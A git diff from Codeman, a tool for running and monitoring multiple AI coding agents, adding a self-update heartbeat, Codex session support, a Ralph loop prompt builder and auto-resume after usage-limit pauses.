"name": "aicodeman",
|
||||
"version": "0.9.4",
|
||||
"description": "The missing control plane for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
|
||||
"version": "0.9.13",
|
||||
"description": "Mission control for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
|
||||
"type": "module",
|
||||
"main": "dist/index.js",
|
||||
"types": "dist/index.d.ts",
|
||||
"bin": {
|
||||
"aicodeman": "./dist/index.js"
|
||||
"aicodeman": "./dist/index.js",
|
||||
"codeman": "./dist/index.js"
|
||||
},
|
||||
"scripts": {
|
||||
"postinstall": "node scripts/postinstall.js",
|
||||
@@ -19,6 +20,8 @@
|
||||
"test": "vitest run --config config/vitest.config.ts",
|
||||
"test:watch": "vitest --config config/vitest.config.ts",
|
||||
"test:coverage": "vitest run --config config/vitest.config.ts --coverage",
|
||||
"test:ci": "vitest run --config config/vitest.ci.config.ts",
|
||||
"check:frontend-syntax": "node scripts/check-frontend-syntax.mjs",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"lint": "eslint --config config/eslint.config.js 'src/**/*.ts'",
|
||||
"lint:fix": "eslint --config config/eslint.config.js 'src/**/*.ts' --fix",
|
||||
@@ -117,7 +120,7 @@
|
||||
}
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=18.0.0"
|
||||
"node": ">=22.0.0"
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
|
||||
@@ -39,7 +39,7 @@ Server echoes 'h' ←───────────────────
|
||||
|
||||
## Origin
|
||||
|
||||
This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), the missing control plane for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code and OpenCode. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
|
||||
This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), mission control for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code, OpenCode, and Codex. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
|
||||
|
||||
## Install
|
||||
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Frontend JS syntax check.
|
||||
*
|
||||
* CI's `npm run lint` only lints TypeScript under src/, and `tsc` excludes the
|
||||
* frontend — so a plain SyntaxError in a shipped `src/web/public` script (loaded
|
||||
* as a bare <script>, no bundler) passes CI green yet breaks the whole module at
|
||||
* load.
|
||||
* (This is exactly how PR #112's duplicate-`const` error in session-ui.js slipped
|
||||
* through.) This runs `node --check` (parse-only; browser globals don't matter)
|
||||
* on every shipped frontend script so that class of bug fails fast.
|
||||
*/
|
||||
import { readdirSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
|
||||
const PUBLIC_DIR = join(ROOT, 'src', 'web', 'public');
|
||||
|
||||
const files = readdirSync(PUBLIC_DIR)
|
||||
.filter((f) => f.endsWith('.js'))
|
||||
.map((f) => join(PUBLIC_DIR, f));
|
||||
|
||||
let failed = 0;
|
||||
for (const file of files) {
|
||||
try {
|
||||
execFileSync(process.execPath, ['--check', file], { stdio: 'pipe' });
|
||||
} catch (err) {
|
||||
failed++;
|
||||
const msg = err.stderr ? err.stderr.toString() : String(err);
|
||||
console.error(`✗ syntax error in ${file.replace(ROOT + '/', '')}:\n${msg}`);
|
||||
}
|
||||
}
|
||||
|
||||
if (failed > 0) {
|
||||
console.error(`\n${failed} frontend file(s) failed the syntax check.`);
|
||||
process.exit(1);
|
||||
}
|
||||
console.log(`✓ ${files.length} frontend JS files parse cleanly`);
|
||||
+54
-5
@@ -22,9 +22,16 @@
|
||||
#
|
||||
set -uo pipefail
|
||||
|
||||
# puppeteer is a devDependency (scripts/browser-comparison.mjs only) — its chrome
|
||||
# download is never needed to build or run Codeman, and a corrupt prior download
|
||||
# (folder present, executable missing) makes `npm install` fail fatally. Skip it
|
||||
# for every npm install below (initial install + rollback). Caller can override.
|
||||
export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
|
||||
|
||||
REPO=""
|
||||
TAG=""
|
||||
SUPERVISOR="none"
|
||||
SERVER_PID=""
|
||||
STATUS_FILE=""
|
||||
UPDATE_ID=""
|
||||
FROM_VERSION=""
|
||||
@@ -44,6 +51,7 @@ while [[ $# -gt 0 ]]; do
|
||||
--node) NODE="$2"; shift 2 ;;
|
||||
--log) LOG="$2"; shift 2 ;;
|
||||
--prev-sha) PREV_SHA="$2"; shift 2 ;;
|
||||
--server-pid) SERVER_PID="$2"; shift 2 ;;
|
||||
--stash) DO_STASH=1; shift ;;
|
||||
*) shift ;;
|
||||
esac
|
||||
@@ -93,6 +101,35 @@ write_status() {
|
||||
' || echo "[self-update] WARN: status write failed ($phase)"
|
||||
}
|
||||
|
||||
# Run a slow step with a heartbeat so the status file (and the UI polling it) keeps
|
||||
# moving instead of looking frozen during npm install / build. Every few seconds it
|
||||
# refreshes the status with the latest output line, and mirrors full output to the
|
||||
# log. Returns the wrapped command's exit code.
|
||||
run_step() {
|
||||
local phase="$1" base="$2"; shift 2
|
||||
local step_log; step_log="$(mktemp "${TMPDIR:-/tmp}/codeman-update.XXXXXX" 2>/dev/null || echo "/tmp/codeman-update.$$")"
|
||||
write_status "$phase" "$base…"
|
||||
echo "[self-update] $phase: $* (output below)"
|
||||
"$@" >"$step_log" 2>&1 &
|
||||
local pid=$! start=$SECONDS last_line=""
|
||||
while kill -0 "$pid" 2>/dev/null; do
|
||||
sleep 3
|
||||
local line
|
||||
line="$(tr -d '\r' <"$step_log" 2>/dev/null | grep -aE '[^[:space:]]' | tail -n 1 | cut -c1-100)"
|
||||
[[ -n "$line" && "$line" != "$last_line" ]] && last_line="$line"
|
||||
if [[ -n "$last_line" ]]; then
|
||||
write_status "$phase" "$base… · $last_line"
|
||||
else
|
||||
write_status "$phase" "$base… (working)"
|
||||
fi
|
||||
done
|
||||
wait "$pid"; local rc=$?
|
||||
echo "[self-update] $phase finished in $((SECONDS - start))s (rc=$rc)"
|
||||
cat "$step_log" >>"$LOG" 2>/dev/null || true
|
||||
rm -f "$step_log" 2>/dev/null || true
|
||||
return $rc
|
||||
}
|
||||
|
||||
fail() {
|
||||
local msg="$1" err="${2:-}"
|
||||
echo "[self-update] FAILED: $msg ($err)"
|
||||
@@ -138,13 +175,12 @@ git fetch --tags --force origin "refs/tags/$TAG:refs/tags/$TAG" 2>/dev/null \
|
||||
write_status "checkout" "Checking out $TAG…"
|
||||
git -c advice.detachedHead=false checkout --force "$TAG" || rollback_and_fail "Could not check out $TAG"
|
||||
|
||||
# 4) Install dependencies.
|
||||
write_status "installing" "Installing dependencies…"
|
||||
npm install --no-fund --no-audit || rollback_and_fail "Dependency install failed"
|
||||
# 4) Install dependencies (heartbeat keeps the UI live during this slow step).
|
||||
run_step "installing" "Installing dependencies" npm install --no-fund --no-audit \
|
||||
|| rollback_and_fail "Dependency install failed"
|
||||
|
||||
# 5) Build (gate the restart on success — never restart into a torn dist/).
|
||||
write_status "building" "Building…"
|
||||
npm run build || rollback_and_fail "Build failed"
|
||||
run_step "building" "Building" npm run build || rollback_and_fail "Build failed"
|
||||
|
||||
# 6) Restart the service so the new code loads. Write the terminal pre-restart
|
||||
# marker FIRST so the freshly-booted server can reconcile it deterministically.
|
||||
@@ -164,6 +200,19 @@ case "$SUPERVISOR" in
|
||||
|| fail "Build succeeded but launchd restart failed" "launchctl"
|
||||
}
|
||||
;;
|
||||
launchd-daemon)
|
||||
# System-level KeepAlive LaunchDaemon (headless Mac): kickstarting the system
|
||||
# domain needs root, but we don't need it — kill the server and launchd
|
||||
# respawns it on the new dist/ within ThrottleInterval seconds.
|
||||
if [[ -n "$SERVER_PID" ]] && kill "$SERVER_PID" 2>/dev/null; then
|
||||
: # respawn is launchd's job from here
|
||||
else
|
||||
MANUAL_CMD="sudo launchctl kickstart -k system/com.codeman.web"
|
||||
write_status "completed-needs-manual-restart" "Update staged — restart Codeman to apply v$TO_VERSION."
|
||||
echo "[self-update] launchd-daemon: could not signal server pid '$SERVER_PID' — manual restart required"
|
||||
exit 0
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
MANUAL_CMD="pkill -f 'codeman.*web'; codeman web &"
|
||||
write_status "completed-needs-manual-restart" "Update staged — restart Codeman to apply v$TO_VERSION."
|
||||
|
||||
@@ -395,8 +395,12 @@ export class FileStreamManager extends EventEmitter {
|
||||
// Normalize the working directory
|
||||
const normalizedWorkingDir = resolve(workingDir);
|
||||
|
||||
// Check if the resolved path is within the working directory
|
||||
// or common log directories (/tmp intentionally excluded — world-writable)
|
||||
// Allowed read roots for log tailing: the session working dir plus the
|
||||
// INTENTIONAL log directories (/var/log, ~/logs). This is wider than the
|
||||
// per-session boundary used by validateSessionFilePath — a deliberate,
|
||||
// tested design choice for tailing system/app logs, documented as such in
|
||||
// docs/security-architecture.md (security review M5). /tmp is excluded
|
||||
// (world-writable).
|
||||
const allowedPaths = [normalizedWorkingDir, '/var/log', resolve(homedir(), 'logs')];
|
||||
|
||||
const isAllowed = allowedPaths.some((allowed) => {
|
||||
|
||||
@@ -14,6 +14,7 @@ import type {
|
||||
ClaudeMode,
|
||||
SessionMode,
|
||||
OpenCodeConfig,
|
||||
CodexConfig,
|
||||
EffortLevel,
|
||||
} from './types.js';
|
||||
|
||||
@@ -62,6 +63,7 @@ export interface CreateSessionOptions {
|
||||
claudeMode?: ClaudeMode;
|
||||
allowedTools?: string;
|
||||
openCodeConfig?: OpenCodeConfig;
|
||||
codexConfig?: CodexConfig;
|
||||
/** When restoring after reboot, resume a previous Claude conversation by its session ID */
|
||||
resumeSessionId?: string;
|
||||
/** Extra env vars exported before launching the CLI (e.g., CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS). Ephemeral — not written to disk. */
|
||||
@@ -80,6 +82,7 @@ export interface RespawnPaneOptions {
|
||||
claudeMode?: ClaudeMode;
|
||||
allowedTools?: string;
|
||||
openCodeConfig?: OpenCodeConfig;
|
||||
codexConfig?: CodexConfig;
|
||||
/** Resume a previous Claude conversation when respawning */
|
||||
resumeSessionId?: string;
|
||||
/** Extra env vars exported before launching the CLI (preserved across respawns). */
|
||||
@@ -192,6 +195,12 @@ export interface TerminalMultiplexer extends EventEmitter {
|
||||
*/
|
||||
getAttachArgs(muxName: string): string[];
|
||||
|
||||
/** Pin a mux window so client attaches do not automatically dictate its size. */
|
||||
setManualWindowSize?(muxName: string): boolean;
|
||||
|
||||
/** Explicitly resize a mux window after Codeman accepts a terminal resize. */
|
||||
resizeWindow?(muxName: string, cols: number, rows: number): boolean;
|
||||
|
||||
// ========== Availability ==========
|
||||
|
||||
/** Check if the multiplexer binary is available on the system */
|
||||
@@ -205,4 +214,10 @@ export interface TerminalMultiplexer extends EventEmitter {
|
||||
|
||||
/** Respawn a dead pane with a fresh command. Returns the new PID or null on failure. */
|
||||
respawnPane(options: RespawnPaneOptions): Promise<number | null>;
|
||||
|
||||
/** Capture a pane's current tmux buffer with ANSI escape codes preserved. */
|
||||
capturePaneBuffer?(muxName: string, paneTarget: string): string | null;
|
||||
|
||||
/** Capture the active pane's current tmux buffer with ANSI escape codes preserved. */
|
||||
captureActivePaneBuffer?(muxName: string): string | null;
|
||||
}
|
||||
|
||||
@@ -8,3 +8,4 @@
|
||||
export { RESEARCH_AGENT_PROMPT } from './research-agent.js';
|
||||
export { PLANNER_PROMPT } from './planner.js';
|
||||
export { PHASE_EXECUTION_PROMPT, TEAM_LEAD_PROMPT, REPLAN_PROMPT, SINGLE_TASK_PROMPT } from './orchestrator.js';
|
||||
export { RALPH_STATUS_CONTRACT, buildRalphLoopPrompt, type RalphLoopPromptOptions } from './ralph.js';
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
/**
|
||||
* @fileoverview Ralph Loop prompt construction
|
||||
*
|
||||
* Builds the full `@ralph_prompt.md` content written for a new Ralph loop
|
||||
* session, including the RALPH_STATUS block contract. The contract travels
|
||||
* with the loop prompt (not the generated CLAUDE.md) so every Ralph session
|
||||
* emits parseable status blocks regardless of the project's CLAUDE.md.
|
||||
*
|
||||
* @module prompts/ralph
|
||||
*/
|
||||
|
||||
/**
|
||||
* Structured status-reporting contract appended to every Ralph loop prompt.
|
||||
*
|
||||
* `RalphStatusParser` (src/ralph-status-parser.ts) parses this block from
|
||||
* session output — keep the field names and enum values in sync with its
|
||||
* patterns.
|
||||
*/
|
||||
export const RALPH_STATUS_CONTRACT = `## Status Reporting
|
||||
|
||||
End EVERY response with exactly this block — Codeman parses it to track the loop:
|
||||
|
||||
\`\`\`
|
||||
---RALPH_STATUS---
|
||||
STATUS: IN_PROGRESS | COMPLETE | BLOCKED
|
||||
TASKS_COMPLETED_THIS_LOOP: <number>
|
||||
FILES_MODIFIED: <number>
|
||||
TESTS_STATUS: PASSING | FAILING | NOT_RUN
|
||||
WORK_TYPE: IMPLEMENTATION | TESTING | DOCUMENTATION | REFACTORING
|
||||
EXIT_SIGNAL: false | true
|
||||
RECOMMENDATION: <one line: what to do next>
|
||||
---END_RALPH_STATUS---
|
||||
\`\`\`
|
||||
|
||||
Rules:
|
||||
- \`EXIT_SIGNAL: true\` only when ALL tasks are verifiably done — then also output the completion phrase
|
||||
- \`STATUS: BLOCKED\` when you need human input; describe the blocker in RECOMMENDATION
|
||||
- Never set \`EXIT_SIGNAL: true\` while tests are failing
|
||||
`;
|
||||
|
||||
export interface RalphLoopPromptOptions {
|
||||
/** The user's task description (becomes the prompt header) */
|
||||
taskDescription: string;
|
||||
/** Completion phrase the session must emit inside <promise></promise> */
|
||||
completionPhrase: string;
|
||||
/** Whether a @fix_plan.md task plan was generated for this loop */
|
||||
hasPlan: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the full Ralph loop prompt written to `@ralph_prompt.md`.
|
||||
*/
|
||||
export function buildRalphLoopPrompt({ taskDescription, completionPhrase, hasPlan }: RalphLoopPromptOptions): string {
|
||||
let fullPrompt = taskDescription + '\n\n---\n\n';
|
||||
if (hasPlan) {
|
||||
fullPrompt += '## Task Plan\n\n';
|
||||
fullPrompt += 'A task plan has been written to `@fix_plan.md`. Use this to track progress:\n';
|
||||
fullPrompt += '- Reference the plan at the start of each iteration\n';
|
||||
fullPrompt += '- Update task checkboxes as you complete items\n';
|
||||
fullPrompt += '- Work through items in priority order (P0 > P1 > P2)\n\n';
|
||||
}
|
||||
fullPrompt += '## Iteration Protocol\n\n';
|
||||
fullPrompt += 'This is an autonomous loop. Files from previous iterations persist. On each iteration:\n';
|
||||
fullPrompt += '1. Check what work has already been done\n';
|
||||
fullPrompt += '2. Make incremental progress toward completion\n';
|
||||
fullPrompt += '3. Commit meaningful changes with descriptive messages\n\n';
|
||||
fullPrompt += '## Verification\n\n';
|
||||
fullPrompt += 'After each significant change:\n';
|
||||
fullPrompt += '- Run tests to verify (npm test, pytest, etc.)\n';
|
||||
fullPrompt += '- Check for type/lint errors if applicable\n';
|
||||
fullPrompt += '- If tests fail, read the error, fix it, and retry\n\n';
|
||||
fullPrompt += '## Completion Criteria\n\n';
|
||||
fullPrompt += `Output \`<promise>${completionPhrase}</promise>\` when ALL of the following are true:\n`;
|
||||
fullPrompt += '- All requirements from the task description are implemented\n';
|
||||
fullPrompt += '- All tests pass\n';
|
||||
fullPrompt += '- Changes are committed\n\n';
|
||||
fullPrompt += '## If Stuck\n\n';
|
||||
fullPrompt += 'If you encounter the same error for 3+ iterations:\n';
|
||||
fullPrompt += "1. Document what you've tried\n";
|
||||
fullPrompt += '2. Identify the specific blocker\n';
|
||||
fullPrompt += '3. Try an alternative approach\n';
|
||||
fullPrompt += '4. If truly blocked, output `<promise>BLOCKED</promise>` with an explanation\n\n';
|
||||
fullPrompt += RALPH_STATUS_CONTRACT;
|
||||
return fullPrompt;
|
||||
}
|
||||
@@ -2779,6 +2779,19 @@ export class RespawnController extends EventEmitter {
|
||||
return;
|
||||
}
|
||||
|
||||
// Usage-limit pause: Claude can't work and the cycle's /clear would wipe
|
||||
// the paused conversation — the auto-resume scheduler owns recovery here.
|
||||
if (this.session.isLimitPaused) {
|
||||
this.log('Skipping respawn cycle - usage-limit pause active (auto-resume armed)');
|
||||
this.logAction('health', 'Respawn skipped: usage-limit pause (auto-resume armed)');
|
||||
this.emit('respawnBlocked', {
|
||||
reason: 'usage_limit',
|
||||
details: 'Usage limit reached — waiting for scheduled auto-resume',
|
||||
});
|
||||
this.setState('watching');
|
||||
return;
|
||||
}
|
||||
|
||||
// Start the respawn cycle
|
||||
this.cycleCount++;
|
||||
this.log(`Starting respawn cycle #${this.cycleCount}`);
|
||||
|
||||
+184
-1
@@ -1,15 +1,25 @@
|
||||
/**
|
||||
* @fileoverview Auto-compact and auto-clear automation for Session.
|
||||
* @fileoverview Auto-compact, auto-clear, and auto-resume automation for Session.
|
||||
*
|
||||
* Monitors token counts and triggers /compact or /clear commands when
|
||||
* configurable thresholds are reached. Waits for Claude to be idle
|
||||
* before sending commands, with retry logic and mutual exclusion
|
||||
* (compact and clear never run simultaneously).
|
||||
*
|
||||
* Also implements auto-resume on usage limit ("token pause" control):
|
||||
* when enabled and Claude stops on a usage-limit message ("5-hour limit
|
||||
* reached ∙ resets 8pm" and friends — see usage-limit-patterns.ts), a timer
|
||||
* is armed for the parsed reset time plus a safety buffer, then Escape
|
||||
* (dismisses the rate-limit options dialog if open) and a "continue" prompt
|
||||
* are sent so work resumes automatically. If the session is still limited,
|
||||
* the fresh limit message re-arms the scheduler — that retry loop is the
|
||||
* safety net for clock skew and parse imprecision.
|
||||
*
|
||||
* @module session-auto-ops
|
||||
*/
|
||||
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { detectUsageLimitPause } from './usage-limit-patterns.js';
|
||||
|
||||
// ============================================================================
|
||||
// Timing Constants
|
||||
@@ -78,6 +88,28 @@ async function executeWhenIdle(
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Auto-resume (usage-limit pause) constants
|
||||
// ============================================================================
|
||||
|
||||
/** Safety buffer after the stated reset time before resuming (2 minutes) */
|
||||
const RESUME_BUFFER_MS = 2 * 60_000;
|
||||
|
||||
/** Minimum delay before an overdue resume fires (lets output settle) */
|
||||
const RESUME_MIN_DELAY_MS = 5_000;
|
||||
|
||||
/** Retry interval when the reset time is stale/past (5 minutes) */
|
||||
const RESUME_RETRY_MS = 5 * 60_000;
|
||||
|
||||
/** Re-detections scheduling within this window of the current schedule are ignored */
|
||||
const RESUME_DEDUP_TOLERANCE_MS = 90_000;
|
||||
|
||||
/** Delay between Escape (dialog dismiss) and the resume prompt */
|
||||
const RESUME_ESC_DELAY_MS = 600;
|
||||
|
||||
/** Prompt sent to resume work after the limit resets */
|
||||
const RESUME_PROMPT = 'continue';
|
||||
|
||||
/** Minimum valid threshold for auto-clear/compact (1000 tokens) */
|
||||
const MIN_AUTO_THRESHOLD = 1000;
|
||||
|
||||
@@ -131,6 +163,16 @@ export class SessionAutoOps extends EventEmitter {
|
||||
private _isClearing: boolean = false;
|
||||
private _autoClearTimer: NodeJS.Timeout | null = null;
|
||||
|
||||
// Auto-resume (usage-limit pause) state
|
||||
private _autoResumeEnabled: boolean = false;
|
||||
private _autoResumeTimer: NodeJS.Timeout | null = null;
|
||||
/** Esc→continue gap timer; detections must NOT cancel a resume in flight */
|
||||
private _resumeFollowupTimer: NodeJS.Timeout | null = null;
|
||||
/** When the scheduled resume fires (epoch ms), null when not armed */
|
||||
private _autoResumeAt: number | null = null;
|
||||
private _limitPaused: boolean = false;
|
||||
private _resumeAttempts: number = 0;
|
||||
|
||||
private readonly callbacks: AutoOpsCallbacks;
|
||||
|
||||
constructor(callbacks: AutoOpsCallbacks, config?: { compactThreshold?: number; clearThreshold?: number }) {
|
||||
@@ -207,6 +249,145 @@ export class SessionAutoOps extends EventEmitter {
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Auto-resume (usage-limit pause) — getters/setters
|
||||
// ============================================================================
|
||||
|
||||
get autoResumeEnabled(): boolean {
|
||||
return this._autoResumeEnabled;
|
||||
}
|
||||
|
||||
/** When the scheduled resume fires (epoch ms), or null when not armed. */
|
||||
get autoResumeAt(): number | null {
|
||||
return this._autoResumeAt;
|
||||
}
|
||||
|
||||
/** True while the session is believed to be paused on a usage limit. */
|
||||
get isLimitPaused(): boolean {
|
||||
return this._limitPaused;
|
||||
}
|
||||
|
||||
setAutoResume(enabled: boolean): void {
|
||||
this._autoResumeEnabled = enabled;
|
||||
if (!enabled) {
|
||||
this._cancelAutoResume('disabled');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore auto-resume state after a Codeman restart. A persisted pending
|
||||
* schedule is re-armed; an overdue one fires shortly after boot (the limit
|
||||
* footer won't reprint on its own, so without this the pause would stall).
|
||||
*/
|
||||
restoreAutoResume(enabled: boolean, resumeAt?: number): void {
|
||||
this._autoResumeEnabled = enabled;
|
||||
if (!enabled || !resumeAt) return;
|
||||
const now = Date.now();
|
||||
this._scheduleResume(Math.max(resumeAt, now + RESUME_MIN_DELAY_MS), resumeAt, 'restored');
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Auto-resume — detection and scheduling
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* Scan cleaned terminal output for a usage-limit pause message and (re)arm
|
||||
* the resume schedule. Called from the session's throttled parser path.
|
||||
*/
|
||||
processCleanData(cleanData: string): void {
|
||||
if (!this._autoResumeEnabled || this.callbacks.isStopped()) return;
|
||||
// A resume is in flight (Esc sent, continue pending): output from our own
|
||||
// Escape can redraw the stale limit footer — don't let it re-arm and
|
||||
// cancel the continue. Fresh evidence arrives after the prompt is sent.
|
||||
if (this._resumeFollowupTimer) return;
|
||||
|
||||
const detection = detectUsageLimitPause(cleanData);
|
||||
if (!detection) return;
|
||||
|
||||
const now = Date.now();
|
||||
const overdue = detection.resetAt <= now;
|
||||
const fireAt = overdue
|
||||
? now + RESUME_RETRY_MS // stale reset time → gentle retry loop
|
||||
: Math.max(detection.resetAt + RESUME_BUFFER_MS, now + RESUME_MIN_DELAY_MS);
|
||||
|
||||
if (this._autoResumeTimer && this._autoResumeAt !== null) {
|
||||
// Already armed: the footer redraws constantly, so ignore re-detections
|
||||
// that land on (or later than) the current schedule. Only an EARLIER
|
||||
// parsed time replaces it — an overdue retry never preempts a real one.
|
||||
if (overdue || fireAt >= this._autoResumeAt - RESUME_DEDUP_TOLERANCE_MS) return;
|
||||
}
|
||||
|
||||
this._scheduleResume(fireAt, detection.resetAt, detection.matched);
|
||||
}
|
||||
|
||||
/**
|
||||
* Claude started working — the limit is lifted (or the user resumed
|
||||
* manually), so any pending auto-resume is obsolete.
|
||||
*/
|
||||
notifyWorking(): void {
|
||||
this._resumeAttempts = 0;
|
||||
if (!this._limitPaused && !this._autoResumeTimer && !this._resumeFollowupTimer) return;
|
||||
this._cancelAutoResume('working');
|
||||
}
|
||||
|
||||
private _scheduleResume(fireAt: number, resetAt: number, matched: string): void {
|
||||
if (this._autoResumeTimer) {
|
||||
clearTimeout(this._autoResumeTimer);
|
||||
this._autoResumeTimer = null;
|
||||
}
|
||||
this._limitPaused = true;
|
||||
this._autoResumeAt = fireAt;
|
||||
const delay = Math.max(fireAt - Date.now(), 0);
|
||||
console.log(
|
||||
`[SessionAutoOps ${this.callbacks.getSessionId()}] Usage-limit pause detected ("${matched.slice(0, 60)}"), auto-resume in ${Math.round(delay / 60000)}min`
|
||||
);
|
||||
this._autoResumeTimer = setTimeout(() => void this._fireResume(), delay);
|
||||
this.emit('limitPauseScheduled', { resetAt, resumeAt: fireAt, matched });
|
||||
}
|
||||
|
||||
private async _fireResume(): Promise<void> {
|
||||
this._autoResumeTimer = null;
|
||||
if (!this._autoResumeEnabled || this.callbacks.isStopped()) return;
|
||||
|
||||
if (this.callbacks.isWorking()) {
|
||||
// Session resumed on its own (or via the user) — nothing to do.
|
||||
this._cancelAutoResume('working');
|
||||
return;
|
||||
}
|
||||
|
||||
this._resumeAttempts++;
|
||||
const attempt = this._resumeAttempts;
|
||||
this._limitPaused = false; // optimistic: a fresh limit message re-arms us
|
||||
this._autoResumeAt = null;
|
||||
|
||||
// Escape first: dismisses the rate-limit options dialog if Claude opened
|
||||
// one (harmless at an idle prompt), then the resume prompt after a beat.
|
||||
await this.callbacks.writeCommand('\x1b');
|
||||
this._resumeFollowupTimer = setTimeout(() => {
|
||||
this._resumeFollowupTimer = null;
|
||||
if (this.callbacks.isStopped()) return;
|
||||
void this.callbacks.writeCommand(`${RESUME_PROMPT}\r`);
|
||||
this.emit('limitResume', { attempt });
|
||||
}, RESUME_ESC_DELAY_MS);
|
||||
}
|
||||
|
||||
private _cancelAutoResume(reason: 'disabled' | 'working' | 'stopped'): void {
|
||||
const wasArmed = this._autoResumeTimer !== null || this._resumeFollowupTimer !== null || this._limitPaused;
|
||||
if (this._autoResumeTimer) {
|
||||
clearTimeout(this._autoResumeTimer);
|
||||
this._autoResumeTimer = null;
|
||||
}
|
||||
if (this._resumeFollowupTimer) {
|
||||
clearTimeout(this._resumeFollowupTimer);
|
||||
this._resumeFollowupTimer = null;
|
||||
}
|
||||
this._limitPaused = false;
|
||||
this._autoResumeAt = null;
|
||||
if (wasArmed && reason !== 'stopped') {
|
||||
this.emit('limitResumeCancelled', { reason });
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Threshold checks
|
||||
// ============================================================================
|
||||
@@ -321,5 +502,7 @@ export class SessionAutoOps extends EventEmitter {
|
||||
this._autoClearTimer = null;
|
||||
}
|
||||
this._isClearing = false;
|
||||
|
||||
this._cancelAutoResume('stopped');
|
||||
}
|
||||
}
|
||||
|
||||
+177
-8
@@ -46,6 +46,7 @@ import {
|
||||
type ClaudeMode,
|
||||
type SessionMode,
|
||||
type OpenCodeConfig,
|
||||
type CodexConfig,
|
||||
type EffortLevel,
|
||||
} from './types.js';
|
||||
import type { TerminalMultiplexer, MuxSession } from './mux-interface.js';
|
||||
@@ -77,11 +78,14 @@ import {
|
||||
buildShellEnv,
|
||||
} from './session-cli-builder.js';
|
||||
import { SessionAutoOps } from './session-auto-ops.js';
|
||||
import { detectUsageLimitPause } from './usage-limit-patterns.js';
|
||||
import { SessionTaskCache } from './session-task-cache.js';
|
||||
|
||||
export type { BackgroundTask } from './task-tracker.js';
|
||||
export type { RalphTrackerState, RalphTodoItem, ActiveBashTool } from './types.js';
|
||||
|
||||
export type ResizeViewportType = 'mobile' | 'tablet' | 'desktop';
|
||||
|
||||
/** Line buffer flush interval (100ms) - forces processing of partial lines */
|
||||
const LINE_BUFFER_FLUSH_INTERVAL = 100;
|
||||
|
||||
@@ -121,6 +125,11 @@ const CTRL_L_PATTERN = /\x0c/g;
|
||||
/** Pattern to split by newlines (CR or LF) */
|
||||
const NEWLINE_SPLIT_PATTERN = /\r?\n/;
|
||||
|
||||
/** True for external-CLI run modes (non-Claude) that use their own TUI and output format. */
|
||||
export function isExternalCliMode(mode: SessionMode): boolean {
|
||||
return mode === 'opencode' || mode === 'codex';
|
||||
}
|
||||
|
||||
// Note: Claude CLI PATH resolution moved to session-cli-builder.ts (buildClaudeEnv)
|
||||
|
||||
/** PTY fallback geometry when tmux can't be queried (matches pre-#80 hardcoded values). */
|
||||
@@ -311,6 +320,8 @@ export class Session extends EventEmitter {
|
||||
|
||||
// OpenCode configuration (only for mode === 'opencode')
|
||||
private _openCodeConfig: OpenCodeConfig | undefined;
|
||||
// Codex configuration (only for mode === 'codex')
|
||||
private _codexConfig: CodexConfig | undefined;
|
||||
private _resumeSessionId: string | undefined;
|
||||
|
||||
// Ephemeral env overrides (e.g., CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS). Exported by tmux
|
||||
@@ -379,6 +390,8 @@ export class Session extends EventEmitter {
|
||||
allowedTools?: string;
|
||||
/** OpenCode configuration (only for mode === 'opencode') */
|
||||
openCodeConfig?: OpenCodeConfig;
|
||||
/** Codex configuration (only for mode === 'codex') */
|
||||
codexConfig?: CodexConfig;
|
||||
/** Resume a previous Claude conversation (used after server reboot) */
|
||||
resumeSessionId?: string;
|
||||
/** Extra env vars exported to the CLI at spawn time (no disk persistence) */
|
||||
@@ -432,6 +445,11 @@ export class Session extends EventEmitter {
|
||||
this._openCodeConfig = config.openCodeConfig;
|
||||
}
|
||||
|
||||
// Apply Codex configuration
|
||||
if (config.codexConfig) {
|
||||
this._codexConfig = config.codexConfig;
|
||||
}
|
||||
|
||||
// Apply env overrides (exported at spawn, not persisted to disk).
|
||||
// Legacy migration: pre-0.7.2 carried effort as the CLAUDE_CODE_EFFORT_LEVEL env var,
|
||||
// which hard-locks /effort switching. Extract it into _effort (--settings soft default)
|
||||
@@ -503,6 +521,9 @@ export class Session extends EventEmitter {
|
||||
this._totalOutputTokens = 0;
|
||||
this.emit('autoClear', data);
|
||||
});
|
||||
this._autoOps.on('limitPauseScheduled', (data) => this.emit('limitPauseScheduled', data));
|
||||
this._autoOps.on('limitResume', (data) => this.emit('limitResume', data));
|
||||
this._autoOps.on('limitResumeCancelled', (data) => this.emit('limitResumeCancelled', data));
|
||||
}
|
||||
|
||||
get status(): SessionStatus {
|
||||
@@ -694,6 +715,11 @@ export class Session extends EventEmitter {
|
||||
return this._allowedTools;
|
||||
}
|
||||
|
||||
/** Codex CLI configuration for this session. */
|
||||
